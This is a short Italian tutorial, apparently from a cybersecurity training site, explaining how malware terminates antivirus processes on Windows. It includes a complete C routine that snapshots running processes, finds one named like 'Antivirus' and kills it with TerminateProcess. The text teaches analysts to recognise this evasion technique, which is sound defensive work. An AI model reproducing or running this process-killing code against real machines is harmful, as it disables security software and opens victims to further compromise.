Iscriviti al webinar gratuito del 12 Maggio per diventare Forensic Analyst! Scopri di più
Iscriviti al webinar gratuito del 26 Maggio per diventare SOC Specialist! Scopri di più
Una delle caratteristiche dei malware è la capacità di individuare e disattivare sistemi di end point detection o antivirus.
Ma come possono eseguire queste operazioni?
Parlando di processi che operano in ambiente windows è necessario che il software malevolo sia in grado di creare uno snapshot della memoria, ciclare su tutti i processi ivi presenti, individuare il processo da disattivare ed infine disattivarlo.
Le primitive che dobbiamo andare a utilizzare durante un’analisi sono:
• CreateToolHelp32Snapshot: esegue uno snapshot della memoria e restituisce un handler che chiamiamo hProcessSnap
• Process32First e Process32Next: che sono in grado di identificare i processi attivi nello snapshot e richiamate all’interno di un ciclo ci permettono di ricercare il processo con il nome che noi vogliamo es. Antivirus.exe
• Una volta identificato il processo acquisisco il suo handler con diritti PROCESS_TERMINATE
• Lo termino con TerminateProcess
Naturalmente il malware deve ottenere i diritti amministrativi necessari per eseguire quest’azione
Nel codice seguente eseguo quest’azione ricercando un processo ipotetico chiamato Antivirus.exe :
int main(void)
{
HANDLE hProcessSnap;
HANDLE hProcess;
PROCESSENTRY32 pe32;
int trovato = 0;
WCHAR nome[] = L"Antivirus";
// faccio lo snapshot dei processi di sistema
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE)
{
printf("CreateToolhelp32Snapshot (of processes)");
return(FALSE);
}
// definisco la dimensione della struttura pe32 utilizzata nel ciclo
pe32.dwSize = sizeof(PROCESSENTRY32);
// Prendo le info del primo processo
if (!Process32First(hProcessSnap, &pe32))
{
printf("Errore in Process32First");
CloseHandle(hProcessSnap);
return(FALSE);
}
//Ora ciclo tra tutti i processi nello snapshot
do
{
if (wcsstr(pe32.szExeFile,nome) > 0) { //cerco se il nome del processo contiene la stringa di ricerca
wprintf(L"Termino %s \n", pe32.szExeFile); // scrivo che sto terminando il processo
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, 0, (DWORD) pe32.th32ProcessID); //acquisisco l'handle con i diritti corretti
TerminateProcess(hProcess, 9); // termino il processo
trovato = 1;}
} while (Process32Next(hProcessSnap, &pe32) && !trovato); //continuo con il prox processo nello snapshot
CloseHandle(hProcessSnap);
return(TRUE);
}